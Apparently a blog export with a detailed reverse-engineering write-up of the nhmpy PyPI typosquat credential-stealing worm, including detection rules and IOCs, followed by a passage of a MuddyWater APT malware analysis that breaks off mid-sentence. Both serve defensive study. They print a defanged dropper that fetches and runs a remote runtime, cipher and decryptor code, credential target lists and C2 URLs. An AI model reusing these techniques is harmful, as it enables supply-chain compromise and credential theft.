[{"content":"The short version A package called nhmpy showed up on PyPI sitting one keystroke away from NumPy (n-h-mpy instead of n-u-mpy). It had already been pulled from the index and the wheel was far larger than NumPy has any reason to be, so I pulled the artifact apart to see what it was really doing.\nIt turned out to be a credential stealer that goes to real trouble not to look like one. The package carries a complete, working copy of NumPy as cover — install it, import nhmpy, and it behaves exactly like the library it\u0026rsquo;s impersonating. Nothing breaks, so nothing seems wrong. The malice lives in two extra files: a .pth file that runs the instant any Python interpreter starts, and a 5.2 MB JavaScript blob it executes through Bun, a runtime it quietly downloads from GitHub at run time.\nUnderneath four layers of obfuscation, the payload is a CI/CD and developer-workstation credential harvester that also copies itself into other repositories. There\u0026rsquo;s no attacker-owned server anywhere in it. Collection, exfiltration and spread all ride GitHub and the victim\u0026rsquo;s own stolen token.\nThe decoded strings carry the literal marker Hades - The End for the Damned, which puts this in the Hades wave of PyPI attacks reported in June 2026 — a copycat strain in the broader Shai-Hulud lineage rather than the work of the original crew.\nPackage nhmpy 2.4.7 (PyPI) — since removed Disguise Verbatim NumPy clone with two malicious files Type Credential-stealing supply-chain worm Family Shai-Hulud–class · Hades PyPI wave (June 2026) Payload 5.2 MB Bun-executed JavaScript, four obfuscation layers Exfiltration GitHub only — no attacker-owned C2 Figure 1: The full nhmpy kill chain — a single pip install typo escalates into a GitHub-borne credential worm.\nWhy it\u0026rsquo;s worth a closer look Most supply-chain stealers are forgettable. A few things about this one weren\u0026rsquo;t:\nIt runs before any of your code does. There\u0026rsquo;s no malicious import to catch in review — the .pth file turns starting Python at all (a pip command, a test run, a notebook kernel, a CI job) into the trigger. It hides behind a genuine copy of NumPy, so the package works exactly as expected and nothing looks off. The payload is wrapped in four nested layers, and the innermost one is a hand-rolled cipher rather than something off the shelf. Reading the actual behaviour meant reimplementing it. A note on attribution Industry reporting groups this release into the Hades wave of PyPI attacks from June 2026 — a copycat strain in the wider Shai-Hulud family rather than the original operator\u0026rsquo;s work. My own deobfuscation lines up with that. The decoded payload contains the exact repository description the Hades wave stamps on its exfil repos, Hades - The End for the Damned, along with the codeql.yml worm filename and the harden-runner evasion references the public write-ups describe.\nI\u0026rsquo;m deliberately not naming an actor. The honest label here is behavioural — Shai-Hulud–class, Hades wave — and that\u0026rsquo;s as far as the evidence in front of me reaches. What I can pin down is the delivery: the package was published to PyPI by the account elitexp, listed as the Owner in the package metadata.\nTwo caveats I\u0026rsquo;d rather state than gloss over. First, nhmpy shipped more than one malicious variant; the artifact I pulled apart uses a .pth file, while some siblings in the same campaign use an obfuscated __init__.py import hook instead — same outcome, different delivery. Second, broader Hades reporting mentions capabilities I did not fully recover in this sample: a Russian-locale bail-out, a process-memory scraper, a destructive \u0026ldquo;wipe on token revocation\u0026rdquo; routine. I found only hints of them (a bare 'ru' token, a tongue-in-cheek DontRevokeOrItGoesBoom string), so I\u0026rsquo;m flagging those as campaign-level claims rather than things I can prove from these bytes.\nInside the package The layout is mostly a decoy. Hundreds of files are lifted straight from NumPy; only two don\u0026rsquo;t belong:\nnhmpy/ (full NumPy clone — hundreds of .py files as filler) ├── nhmpy-setup.pth ← MALICIOUS stage-0 (.pth auto-exec) ├── nhmpy/ │ ├── _index.js ← MALICIOUS stage-2 (5.2 MB obfuscated JS) │ ├── __init__.py, _core/, fft/, … ← verbatim NumPy source │ └── … └── nhmpy-2.4.7.dist-info/ ├── METADATA ← copied verbatim from real numpy └── RECORD (lists both .pth and _index.js) The dist-info/METADATA is the genuine NumPy description, right down to \u0026ldquo;Fundamental package for array computing in Python\u0026rdquo; and Project-URL: homepage, https://numpy.org. It\u0026rsquo;s a deliberate disguise — the package imports and works as NumPy, so a victim sees no functional difference. Only two files don\u0026rsquo;t belong, and those two are the whole attack.\nThe execution edge: .pth auto‑run + Bun as a LOLbin Python\u0026rsquo;s site module executes any line in a .pth file that begins with import. That\u0026rsquo;s a documented feature for path configuration — and a gift to malware authors. nhmpy-setup.pth abuses it so the payload runs on every Python invocation in the environment, with no import nhmpy required.\nHere\u0026rsquo;s the dropper, defanged and de‑minified:\n# nhmpy-setup.pth (1315 bytes) — DEFANGED, do not execute import os as _O, tempfile as _T _G = _O.path.join(_T.gettempdir(), \u0026#34;.bun_ran\u0026#34;) _O.path.exists(_G) or exec(\u0026#39;\u0026#39;\u0026#39; ... locate _index.js on sys.path ... _b = \u0026lt;tmp\u0026gt;/b/bun(.exe) if not exists(_b): urlretrieve(\u0026#34;hxxps://github[.]com/oven-sh/bun/releases/download/\u0026#34; \u0026#34;bun-v1.3.13/bun-{os}-{arch}.zip\u0026#34;, _z) extractall -\u0026gt; move bun -\u0026gt; chmod 0o775 -\u0026gt; unlink zip subprocess.run([_b, \u0026#34;run\u0026#34;, _j], check=False) # bun run _index.js open(_G, \u0026#34;w\u0026#34;).close() # drop the .bun_ran guard \u0026#39;\u0026#39;\u0026#39;) Figure 2: Stage-0 — the .pth dropper (defanged). It fires on every Python start, fetches the Bun runtime from GitHub, and runs _index.js via a LOLbin.\nA few details stand out:\n.pth auto‑exec — runs at interpreter start, completely independent of whether the package is ever imported. One‑shot guard — %TEMP%/.bun_ran ensures it runs once and stays quiet afterward. Bun as a LOLbin — the package carries no Python malware logic of its own. It fetches a clean, legitimately‑signed JavaScript runtime (oven-sh/bun v1.3.13) from GitHub\u0026rsquo;s official release CDN and uses it to run the bundled JS. That sidesteps Python‑focused scanners and hands the attacker a full JS engine even in environments without Node.js installed. Pulling Bun as a standalone ZIP also dodges package‑manager controls and proxy logging. Cross‑platform — it maps linux/darwin/windows × x64/aarch64. Peeling the onion: four layers of obfuscation _index.js is 5.2 MB and completely unreadable as shipped. Getting to the behaviour meant peeling four nested layers, and I reimplemented each decoder in Python so the sample never had to run.\nFigure 3: Four layers, peeled. Each decoder was re-implemented in Python against extracted bytes — the JavaScript was never executed.\nLayer 1 — ROT‑17 Caesar wrapper _index.js opens with a self‑decoding wrapper: a String.fromCharCode([...]) array, Caesar‑shifted by 17 over [A‑Za‑z], fed to eval. Statically applying the inverse shift (no execution) yields layer 1 — about 1.55 MB of JavaScript.\nLayer 2 — AES‑128‑GCM with embedded keys Layer 1 carries two AES‑128‑GCM ciphertexts, each with its key, IV and auth‑tag sitting right there in the file, decrypted via node:crypto. This is the actual decryptor, lifted verbatim from the decoded layer‑1 (keys truncated here):\nconst _d = (k,i,a,c) =\u0026gt; { const d = _c.createDecipheriv(\u0026#34;aes-128-gcm\u0026#34;, Buffer.from(k,\u0026#34;hex\u0026#34;), Buffer.from(i,\u0026#34;hex\u0026#34;), {authTagLength:16}); d.setAuthTag(Buffer.from(a,\u0026#34;hex\u0026#34;)); return Buffer.concat([d.update(Buffer.from(c,\u0026#34;hex\u0026#34;)), d.final()]); }; const _b = _d(\u0026#34;c95506221d18936328fbc7ddcd21e3dd\u0026#34;, \u0026#34;48da5faeafac0ac88a410bb0\u0026#34;, …); // bootstrap const _p = _d(\u0026#34;7557c4e782a0622159476d1ea10d5236\u0026#34;, \u0026#34;55a7d25e0e61b77cc175bcc3\u0026#34;, …); // main payload Decrypting both gives:\n_b (907 B) — a getBunPath() helper that ensures the Bun runtime is present (a second copy of the Bun‑fetch logic, using curl + unzip). _p (772 KB) — the main payload, protected with obfuscator.io (a rotating string‑array with a decoder function). When attackers ship the key with the ciphertext, \u0026ldquo;encryption\u0026rdquo; is really just obfuscation — but it\u0026rsquo;s enough to defeat naïve string scanners, which is the point.\nLayer 3 — obfuscator.io with a twist The 772 KB payload uses standard obfuscator.io string‑array protection — a 2,538‑entry array, a decoder function, and a rotation IIFE that shuffles the array until a checksum passes. Recovering it in an isolated vm‑style reimplementation (decoder + array + rotation only, no I/O, no network) produced all 2,538 strings.\nThe twist: the string‑array decoder uses a custom base64 alphabet — lowercase‑first (abc…xyzABC…XYZ0123456789+/=) instead of the standard uppercase‑first ordering. A stock base64 decode produces garbage; you have to rebuild the alphabet to read anything.\nLayer 4 — the G1 cipher This is where it gets more involved. Most of those 2,538 strings are themselves still encrypted — every sensitive constant (URLs, file paths, tokens, GraphQL queries) is wrapped in a second, custom cipher installed on globalThis under the name f0a756767, implemented by a class the obfuscator named G1.\nIt isn\u0026rsquo;t a stock algorithm. To be precise, it\u0026rsquo;s bespoke wiring, not bespoke crypto: the building blocks (PBKDF2, SHA‑256, a Fisher‑Yates shuffle) are all standard, but the way they\u0026rsquo;re assembled into a string cipher is the attacker\u0026rsquo;s own invention — you won\u0026rsquo;t find this construction in any library. Working it back out of the obfuscated source, the scheme is:\nMaster key = PBKDF2-HMAC-SHA256(password, salt, iterations=200000, dkLen=32), with the password and salt themselves stored as constants inside the string table. Per‑string: base64‑decode → split into a 16‑byte nonce and the ciphertext → derive roundKey = SHA256(masterKey || nonce). Three rounds of a keyed‑permutation substitution combined with ciphertext‑chaining XOR, where the per‑byte permutation comes from a SHA‑256‑seeded PRNG driving a Fisher‑Yates shuffle (with rejection sampling for an unbiased modulo). I re‑implemented the whole thing in Python to decrypt the strings offline. The PRNG and shuffle core:\n# Re-implementation of the G1 string cipher\u0026#39;s keystream — READ-ONLY, never runs the JS. class K4: # SHA-256 counter-mode PRNG def __init__(self, seed): self.seed = seed; self.counter = 0; self.buf = b\u0026#39;\u0026#39;; self.pos = 0 def _refill(self): h = hashlib.sha256(); h.update(self.seed) h.update(struct.pack(\u0026#39;\u0026gt;Q\u0026#39;, self.counter)); self.counter += 1 self.buf = h.digest(); self.pos = 0 def next_u32(self): return ((self.next_byte()\u0026lt;\u0026lt;24)|(self.next_byte()\u0026lt;\u0026lt;16) |(self.next_byte()\u0026lt;\u0026lt;8) | self.next_byte()) \u0026amp; 0xffffffff def fisher_yates(prng): # unbiased 0..255 permutation a = list(range(256)) for i in range(255, 0, -1): limit = 0xffffffff - (0xffffffff % (i+1)) while True: r = prng.next_u32() if r \u0026lt;= limit: break a[i], a[i := r % (i+1)] = a[r % (i+1)], a[i] return a masterKey = hashlib.pbkdf2_hmac(\u0026#39;sha256\u0026#39;, AQ.encode(), BQ.encode(), 200_000, 32) Figure 4: The G1 string cipher. A single PBKDF2 master key is derived once, then every one of the 2,538 strings is unwrapped through a per-string nonce, round key and three rounds of keyed-permutation substitution — the layer stock tooling stops short of.\nThe reconstruction checks out — it decrypts every string cleanly into readable text, which is how I can be confident about the behaviour described below rather than guessing at it.\nA couple of the 2,538 blobs, before and after the G1 pass, give a sense of what was hiding in there:\n# raw G1 ciphertext (as shipped, indices into the string table) G1(0x5b8) -\u0026gt; \u0026#34;TheBeautifulSnadsOfTime\u0026#34; G1(0xb69) -\u0026gt; \u0026#34;Hades - The End for the Damned\u0026#34; G1(0x7e7) -\u0026gt; \u0026#34;DontRevokeOrItGoesBoom\u0026#34; G1(0x7f9) -\u0026gt; \u0026#34;ru\u0026#34; Nothing decodes until the full PBKDF2 + keyed-permutation chain is rebuilt — which is exactly why stock tooling stops one layer short of these markers.\nWhy go to this trouble on top of AES and obfuscator.io? Stacking different primitives defeats generic deobfuscators. Anyone who automates \u0026ldquo;strip obfuscator.io\u0026rdquo; still ends up staring at 2,538 ciphertext blobs, and the custom layer is what stops the automated tooling cold.\nWhat the payload actually does With all four layers off, the behaviour is plain enough: find secrets, collect them, then exfiltrate and spread through GitHub.\nWhat it steals The decoded constants spell out a target list that goes well past CI tokens and into the developer\u0026rsquo;s whole machine:\nSource‑control / registry tokens — GITHUB_TOKEN, NPM_TOKEN, PyPI, RUBYgems, JFROG, CIRCLE_TOKEN, PAT/PERSONAL_ACCESS. Cloud \u0026amp; orchestration — AWS (AWS_ACCESS_KEY_ID, ~/.aws/credentials, sts:GetCallerIdentity), Azure (management.azure[.]com, vault.azure[.]net, MSAL token cache), GCP (gcloud credential DBs, cloudresourcemanager, secretmanager), Kubernetes (~/.kube/config, service‑account tokens, k3s.yaml), and HashiCorp Vault. Cloud instance metadata (no creds needed on a runner) — AWS IMDSv2 hxxp://169.254.169[.]254, ECS hxxp://169.254.170[.]2, Azure IMDS. AI assistant secrets — ANTHROPIC_API_KEY, api.anthropic[.]com, and ~/.claude* / ~/.claude/mcp.json config files. (A telling sign of the times: the stealer treats your AI coding assistant\u0026rsquo;s keys as loot.) SSH \u0026amp; shell — ~/.ssh/id_*, authorized_keys, known_hosts, and shell histories (~/.bash_history, ~/.zsh_history, ~/.python_history, ~/.mysql_history, …). Crypto wallets — Exodus, Ethereum keystores, Monero, Ledger Live, Atomic. Messengers — Telegram, Discord, Signal, Element, Slack cookies, Pidgin. VPN configs — Private Internet Access, ProtonVPN, NordVPN, CyberGhost, Windscribe, EarthVPN, OpenVPN profiles. Dotfiles \u0026amp; secret stores — .env*, .npmrc, .pypirc, .netrc, .git-credentials, GNOME keyrings, KWallet, Docker configs. Sprinkled through the strings are obvious decoy honeytokens — ghp_decoyGitHubToken, npm_F4k3NPMToken, AKIAFAKE, sk-ant-api03-fake, fake_circle — almost certainly placeholders/canaries baked into the toolkit\u0026rsquo;s templates.\nFigure 5: The decoded target list reaches far past CI — into the developer\u0026rsquo;s entire workstation.\nExfiltration and spread — GitHub is the C2 There is no attacker‑owned domain or IP in the payload. Instead, the malware weaponises the victim\u0026rsquo;s own stolen GitHub token:\nIt authenticates to hxxps://api.github[.]com (REST + GraphQL) with the victim\u0026rsquo;s token, spoofing a python-requests/2.31.0 User‑Agent. It writes harvested secrets into a GitHub repository it controls via the victim\u0026rsquo;s account, stamped with the description Hades - The End for the Damned — the campaign marker that ties this build directly to the Hades wave. It polls public GitHub for the keyword TheBeautifulSnadsOfTime to fetch additional staged payload. It self‑propagates by committing a malicious GitHub Actions workflow disguised as .github/workflows/codeql.yml (branches named like chore/add-codeql-static-analysis, chore/codeql-setup) into the victim\u0026rsquo;s repositories, then pushes and polls the workflow run. GraphQL queries enumerate branches, open PRs and recent commit history so the malicious commits blend into normal‑looking activity. Commit messages masquerade as routine maintenance: chore: update dependencies, fix: ci. Using a CodeQL workflow filename is a nice piece of misdirection — codeql.yml reads as a security control, the last file a reviewer would suspect.\nFigure 6: No attacker domain. Exfiltration and worming both ride the victim\u0026rsquo;s own stolen GitHub token.\nEvasion Harden‑Runner awareness — the strings are littered with harden-runner, step-security, and a half‑dozen stepsecurity.io endpoints (agent., api., app., agent.stepsecurity.io) plus actions-security-demo/compromised-packages. The payload is clearly aware of StepSecurity\u0026rsquo;s Harden‑Runner egress‑filtering defence and references it directly. Locale hint — a bare 'ru' token appears in the decoded set, consistent with the Russian‑locale bail‑out other Hades reporting describes; I did not, however, reconstruct the full guarding logic in this artifact. DontRevokeOrItGoesBoom — a single ominous string consistent with the reported \u0026ldquo;wipe if the GitHub token is revoked\u0026rdquo; behaviour. I found the marker, not the destructive routine itself, so I\u0026rsquo;m noting it as a lead rather than a confirmed capability of these bytes. MITRE ATT\u0026amp;CK mapping Tactic Technique ID Evidence in this sample Initial Access Supply Chain Compromise: Software Dependencies \u0026amp; Tools T1195.001 Typosquat nhmpy of numpy Execution Command \u0026amp; Scripting Interpreter T1059 Bun runs _index.js; execSync, curl, unzip Execution User Execution: Malicious Package T1204.003 Victim installs the package Persistence Event Triggered Execution (.pth auto‑run) T1546 nhmpy-setup.pth runs on every Python start Defense Evasion Obfuscated/Encrypted Files \u0026amp; Information T1027 ROT‑17 → AES‑128‑GCM → obfuscator.io → custom G1 cipher (4 layers) Defense Evasion Masquerading T1036 Verbatim NumPy clone; commits as chore:/fix: ci; codeql.yml lure Credential Access Credentials in Files T1552.001 ~/.aws, ~/.npmrc, ~/.pypirc, Vault token files, wallets Credential Access Cloud Instance Metadata API T1552.005 AWS IMDS 169.254.169[.]254, ECS 169.254.170[.]2, Azure IMDS Credential Access Steal Application Access Token T1528 GitHub/npm/PyPI/RubyGems/Azure/GCP/Anthropic tokens \u0026amp; OIDC exchange Credential Access Container/K8s API token theft T1552.007 …/serviceaccount/token, kube config, Vault K8s Discovery Cloud Service / Account Discovery T1526 / T1087 GraphQL identity \u0026amp; repo enumeration Collection Data from Local System T1005 Aggregates discovered secrets Lateral Movement / Impact Self‑propagation across repos (worm) T1080 / T1072 codeql.yml workflow injection via victim token Exfiltration Exfiltration Over Web Service T1567 Secrets written to attacker‑controlled GitHub repo Detection \u0026amp; hunting 📦 All of the rules and IOCs below are in a dedicated open repo: meltedinhex/detections — YARA, Sigma, KQL and machine-readable IOC lists (CSV/JSON), ready to drop into your pipeline.\nYou don\u0026rsquo;t need the cipher internals to catch this — the behaviour is the giveaway:\nProcess lineage — python (or pip/pytest/a notebook kernel) spawning bun, especially bun run …_index.js. That chain is almost never legitimate. Unexpected Bun downloads — fetches of github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/bun-*-*.zip from a build host that has no business using Bun. Filesystem artifacts — \u0026lt;site-packages\u0026gt;/*-setup.pth, a _index.js inside a Python package, %TEMP%/.bun_ran, %TEMP%/b/bun(.exe), /tmp/p*.js. .pth startup hooks — scan installed packages for executable .pth files (lines beginning with import) and for obfuscated single‑line __init__.py import hooks. Repo anomalies — new repositories described Hades - The End for the Damned, or unexpected .github/workflows/codeql.yml commits on branches like chore/codeql-setup that you didn\u0026rsquo;t author. Egress — outbound calls to cloud metadata endpoints from CI, or GitHub API traffic with a python-requests/2.31.0 User‑Agent from a Node/Bun process. YARA Two rules I used while triaging. The first catches the on-disk .pth dropper; the second catches decoded payload content (these markers only surface after deobfuscation, so run it against memory dumps or strings you\u0026rsquo;ve already unwrapped, not the raw _index.js).\nrule nhmpy_pth_bun_dropper { meta: description = \u0026#34;nhmpy / Hades wave - malicious .pth Bun stager\u0026#34; author = \u0026#34;meltedinhex\u0026#34; reference = \u0026#34;nhmpy 2.4.7 PyPI typosquat\u0026#34; strings: $import = \u0026#34;import os\u0026#34; $exec = \u0026#34;exec(\u0026#34; $guard = \u0026#34;.bun_ran\u0026#34; $rel = \u0026#34;oven-sh/bun/releases/download\u0026#34; $ver = \u0026#34;bun-v1.3.13\u0026#34; condition: filesize \u0026lt; 8KB and $import and $exec and $guard and ($rel or $ver) } rule nhmpy_hades_decoded_markers { meta: description = \u0026#34;Decoded nhmpy / Hades payload string markers\u0026#34; author = \u0026#34;meltedinhex\u0026#34; strings: $m1 = \u0026#34;Hades - The End for the Damned\u0026#34; ascii wide $m2 = \u0026#34;TheBeautifulSnadsOfTime\u0026#34; ascii wide $m3 = \u0026#34;DontRevokeOrItGoesBoom\u0026#34; ascii wide $w = \u0026#34;.github/workflows/codeql.yml\u0026#34; ascii $g = \u0026#34;f0a756767\u0026#34; ascii condition: 2 of them } KQL (Defender / Sentinel) If you run Microsoft Defender for Endpoint or Sentinel, these hunt the same behaviour across process, file and network telemetry. Tune the time window and exclude any hosts where Bun is legitimately part of the toolchain.\n// 1) Process: a Python interpreter (or pip/pytest) spawning Bun — the core execution chain DeviceProcessEvents | where Timestamp \u0026gt; ago(30d) | where FileName in~ (\u0026#34;bun\u0026#34;, \u0026#34;bun.exe\u0026#34;) | where InitiatingProcessFileName in~ (\u0026#34;python\u0026#34;, \u0026#34;python.exe\u0026#34;, \u0026#34;python3\u0026#34;, \u0026#34;pip\u0026#34;, \u0026#34;pip.exe\u0026#34;, \u0026#34;pip3\u0026#34;, \u0026#34;pytest\u0026#34;, \u0026#34;pytest.exe\u0026#34;) | where ProcessCommandLine has \u0026#34;run\u0026#34; and ProcessCommandLine has_any (\u0026#34;_index.js\u0026#34;, \u0026#34;.js\u0026#34;) | project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine, InitiatingProcessCommandLine // 2) File: malicious .pth dropper, dropped Bun runtime, or the one-shot guard DeviceFileEvents | where Timestamp \u0026gt; ago(30d) | where (FileName endswith \u0026#34;-setup.pth\u0026#34; and FolderPath has_any (\u0026#34;site-packages\u0026#34;, \u0026#34;dist-packages\u0026#34;)) or FileName == \u0026#34;.bun_ran\u0026#34; or (FileName in~ (\u0026#34;bun\u0026#34;, \u0026#34;bun.exe\u0026#34;) and FolderPath has_any (\u0026#34;\\\\b\\\\\u0026#34;, \u0026#34;/b/\u0026#34;)) or (FileName == \u0026#34;_index.js\u0026#34; and FolderPath has_any (\u0026#34;site-packages\u0026#34;, \u0026#34;dist-packages\u0026#34;)) | project Timestamp, DeviceName, ActionType, FileName, FolderPath, InitiatingProcessFileName, SHA256 // 3) Network: Bun pulled from GitHub releases, or GitHub API hit with the spoofed UA DeviceNetworkEvents | where Timestamp \u0026gt; ago(30d) | where (RemoteUrl has \u0026#34;oven-sh/bun/releases/download\u0026#34;) or (RemoteUrl has \u0026#34;api.github.com\u0026#34; and InitiatingProcessFileName in~ (\u0026#34;bun\u0026#34;, \u0026#34;bun.exe\u0026#34;, \u0026#34;python\u0026#34;, \u0026#34;python.exe\u0026#34;)) or RemoteUrl has_any (\u0026#34;169.254.169.254\u0026#34;, \u0026#34;169.254.170.2\u0026#34;) // cloud metadata from an endpoint | project Timestamp, DeviceName, RemoteUrl, RemoteIP, InitiatingProcessFileName, InitiatingProcessCommandLine Indicators of Compromise (defanged) File hashes (SHA‑256) File Role SHA‑256 Size nhmpy-2.4.7-py3-none-any.whl Malicious wheel (v2.4.7) 999577b1701d051a2ee2174631ee2e127e2d80f3bb0dadaf369a004a8395e050 — nhmpy-setup.pth Stage‑0 .pth auto‑exec dropper 6506d31707a39949f89534bf9705bcf889f1ecae3dbc6f4ff88d67a8be3d01b2 1,315 B nhmpy/_index.js Stage‑2 obfuscated JS stealer c0501df195ae335f6764c214d6dd6cb58e05a188e86313b7a7b10e2cd7fea251 5,221,226 B Hashes are build‑specific — sibling packages in the same wave use different bytes (and an __init__.py import‑hook variant), so prefer the behavioural and string indicators below for fleet‑wide hunting.\nFiles / package Indicator Type Note nhmpy 2.4.7 (PyPI) Package NumPy typosquat; yanked \u0026ldquo;Seems Token Leaked\u0026rdquo; elitexp PyPI account Owner that published the package nhmpy-setup.pth File Stage‑0 .pth auto‑exec dropper nhmpy/_index.js File Stage‑2, 5.2 MB obfuscated JS stealer %TEMP%/.bun_ran Host artifact One‑shot execution guard %TEMP%/b/bun · %TEMP%/b/bun.exe Host artifact Dropped Bun runtime /tmp/p\u0026lt;random\u0026gt;.js Host artifact Decrypted payload written before execution Markers / strings Indicator Context Hades - The End for the Damned Exfil repo description (campaign marker) TheBeautifulSnadsOfTime GitHub keyword used to fetch staged payload .github/workflows/codeql.yml Worm: malicious workflow disguised as CodeQL DontRevokeOrItGoesBoom Marker consistent with revocation‑triggered destruction ghp_decoyGitHubToken, npm_F4k3NPMToken, AKIAFAKE, sk-ant-api03-fake Decoy honeytokens in the toolkit templates Network (legitimate services abused — not dedicated C2) Indicator Use by malware hxxps://github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/… Bun runtime download (LOLbin) hxxps://api.github[.]com · hxxps://api.github[.]com/graphql Exfil + worm via stolen victim token hxxp://169.254.169[.]254 · hxxp://169.254.170[.]2 AWS IMDS / ECS credential theft hxxps://login.microsoftonline[.]com · hxxps://management.azure[.]com Azure token/identity theft hxxps://*.googleapis[.]com · hxxps://oauth2.googleapis[.]com/token GCP credential theft hxxps://registry.npmjs[.]org/-/npm/v1/… · hxxps://pypi[.]org/_/oidc/mint-token · hxxps://upload.pypi[.]org/legacy/ Registry token theft / OIDC publishing hxxps://api.anthropic[.]com AI assistant key theft No attacker‑owned domain or IP is embedded. Exfiltration and propagation ride entirely on the victim\u0026rsquo;s own GitHub/cloud/registry credentials and on public platforms — the defining signature of the Shai‑Hulud / Miasma worm class.\nIf you (or your CI) installed this Treat it as a credential compromise, because it is one:\nIsolate the host — especially any build runner. Assume every secret it could reach is burned. Rotate everything reachable from that environment — GitHub PATs (classic + fine‑grained), npm/PyPI/RubyGems/JFrog/CircleCI tokens, AWS/Azure/GCP keys, Vault and Kubernetes SA tokens, SSH keys, and any AI‑assistant API keys (ANTHROPIC_API_KEY etc.). Audit GitHub — look for repositories described Hades - The End for the Damned, unexpected codeql.yml workflow commits, and unfamiliar commits labelled chore: update dependencies / fix: ci. Audit registry accounts for unexpected package publishes. Remove artifacts — \u0026lt;site-packages\u0026gt;/nhmpy*, %TEMP%/.bun_ran, %TEMP%/b/, /tmp/p*.js. Hunt the IOCs above across your fleet and CI logs, and restore from known‑good backups where integrity is in doubt. What to take away The execution edge has moved to install and startup time. A .pth file or an __init__.py import hook lets a dependency run before a single line of your own code does, so reviewing application code isn\u0026rsquo;t enough anymore — the install surface needs the same scrutiny. Living off the land has reached the language runtime. Pulling a clean, signed Bun binary to run JavaScript inside a Python attack is a tidy way around ecosystem-specific scanners, and it means detection has to follow process lineage rather than file contents. The platform is the C2. When everything rides GitHub and cloud metadata, there\u0026rsquo;s no malicious domain to block; you\u0026rsquo;re left defending with token hygiene, least-privilege CI, egress filtering and OIDC scoping. Layered, custom obfuscation is normal now. Off-the-shelf deobfuscators got part of the way and stopped, and reading the payload meant rebuilding a bespoke cipher by hand. Budget time for that when you scope this kind of work. Detection coverage for this campaign — YARA, Sigma, KQL and machine-readable IOCs — lives in the open at meltedinhex/detections.\n","permalink":"https://meltedinhex.com/posts/shai-hulud-nhmpy-pypi/","summary":"\u003ch2 id=\"the-short-version\"\u003eThe short version\u003c/h2\u003e\n\u003cp\u003eA package called \u003ccode\u003enhmpy\u003c/code\u003e showed up on PyPI sitting one keystroke away from NumPy (\u003ccode\u003en-h-mpy\u003c/code\u003e instead of \u003ccode\u003en-u-mpy\u003c/code\u003e). It had already been pulled from the index and the wheel was far larger than NumPy has any reason to be, so I pulled the artifact apart to see what it was really doing.\u003c/p\u003e\n\u003cp\u003eIt turned out to be a credential stealer that goes to real trouble not to look like one. The package carries a complete, working copy of NumPy as cover — install it, \u003ccode\u003eimport nhmpy\u003c/code\u003e, and it behaves exactly like the library it\u0026rsquo;s impersonating. Nothing breaks, so nothing seems wrong. The malice lives in two extra files: a \u003ccode\u003e.pth\u003c/code\u003e file that runs the instant any Python interpreter starts, and a 5.2 MB JavaScript blob it executes through Bun, a runtime it quietly downloads from GitHub at run time.\u003c/p\u003e","title":"Peeling the Sandworm: Reversing the nhmpy PyPI Supply-Chain Worm (Shai-Hulud / Hades Wave)"},{"content":"MuddyWater is an APT group that has been active throughout 2017, targeting victims in the Middle East with in-memory vectors leveraging PowerShell.\nIn October 2018, Kaspersky Lab published a good analysis report on the malware by this APT group.\nHere I am publishing my analysis report on recent malware by this APT group which targeted several parts of the Middle East.\nSample - 8899c0dac9f6bb73ce750ae7b3250dbd (Virustotal)\nReferences :\nhttps://www.vmray.com/analyses/c873532e009f/report/overview.html\nhttps://twitter.com/360TIC/status/1081080752438009856\nhttps://www.virustotal.com/#/file/c873532e009f2fc7d3b111636f3bbaa307465e5a99a7f4386bebff2ef8a37a20/detection\nThe document has obfuscated macro code which contains encrypted binary data. On execution, it decrypts the data, drops files and executes them.\nThe decryption function used in VBS macro is shown below.\nWith the help of this function, it decrypts line(0) of the code shown in the below image, which is nothing but the header of a PE file.\nThe macro concatenates the above lines, converts them to ASCII, and stores it at \u0026ldquo;C:\\users\\public\u0026rdquo; with the name \u0026ldquo;temp_rt_32.exe\u0026rdquo;.\nAfter that, it concatenates another piece of code shown below and stores it at the same location with the name \u0026ldquo;Data.zip\u0026rdquo;\nLocation - C:\\Users\\Public\nAfter that, the document uses ShellExecute to run temp_rt_32.exe and exits itself.\ntemp_rt_32.exe :\ntemp_rt_32.exe is a UPX packed Delphi file. On execution, it extracts the data.zip file at %PUBLIC% location and executes \u0026ldquo;GoogleUpdate.exe\u0026rdquo;\nAnd then it imports the UP.txt file to the registry, which is nothing but the RUN entry of GoogleUpdate.exe with the name DVRStudio, and exits itself.\nGoogleUpdate.exe :\nGoogleUpdate.exe is a RAT which downloads other malware onto the system or uploads the user\u0026rsquo;s files to the command and control server.\nFirst of all, it creates a path \u0026ldquo;\u0026rdquo;\\Windows\\Microsoft\\FrameWork4\u0026quot;\u0026quot; in %APPDATA%.\nThen it creates a unique machine ID by Base64 of username and Volume serial number.\nID = base64_encode(username_volumeserialnumber)\nAfter that, it checks internet connectivity by resolving google.com. If it returns true, it will do the malicious activity, otherwise it will wait for 5 min.\nIf the internet is connected, then it reads \u0026ldquo;C:\\Users\\Public\\temp_gh_12.dat\u0026rdquo; which has the following encoded data.\n\u0026ldquo;NAAbYiYadQF4QQAAMXo2Oic7CT4nORx/N3oYKwReWSMEMwAuCGxlX3ZUYmEHEh4+Gz0RPxgVBi8QYBY/aWITJQQGImZ2Y1cLdncHIQ8iHywJMhAgHxgfJRx1GUlvEhl9HRIIUG1wclB9Zw8/AiwQPQYCDmMCOBxv\u0026rdquo;\nThe above function will Base64 decode the data of temp_gh_12.dat, XOR the decoded data with the hardcoded key and then again Base64 decode the decrypted data.\nHere the key is \u0026ldquo;UHIRER874893UIUOFUGHEWROUIRGH35\u0026rdquo;\nso after decryption of the temp_gh_12.dat file, it shows the below URL.\nhxxps://www.jsonstore.io/4de4d6d84d17638b3cd0eaf18857784aff27501be7d3dd89fad2b7ac2134f52e\nThe sample downloads the JSON file from the above URL and gets the URL of the CnC server.\nAbove jsonstore api has two CnC URLs. The sample will parse these URLs and proceed with the active one.\nWhen it finds the active URL, it takes the infected machine information, encodes and encrypts it, and stores it at %APPDATA%\\Windows\\Microsoft\\FrameWork4 with the name id_uniqueID (eg. id_dXTlbl9DRT).\nThe information is in below format.\nMachineName_UserName_UserDomainName_OperatingSystem_DateTime_IPAddress_ServerURL\nEach info is first encoded with Base64 and then XOR encrypted by the hardcoded key.\nThe sample reads this info from the file and sends it to the CnC server at the below URL.\nhxxp://shopcloths.ddns.net/users.php?tname=id_UniqueID\u0026amp;path=Users\nThe sample has a Base64 encoded and XOR encrypted PowerShell script which is decrypted by the same encryption and encoding method described above.\nThe decrypted PowerShell script looks like below.\nThe first function of the script gives all the usernames available in the system.\nThe second function will give all the environment variables present in the system path and all the 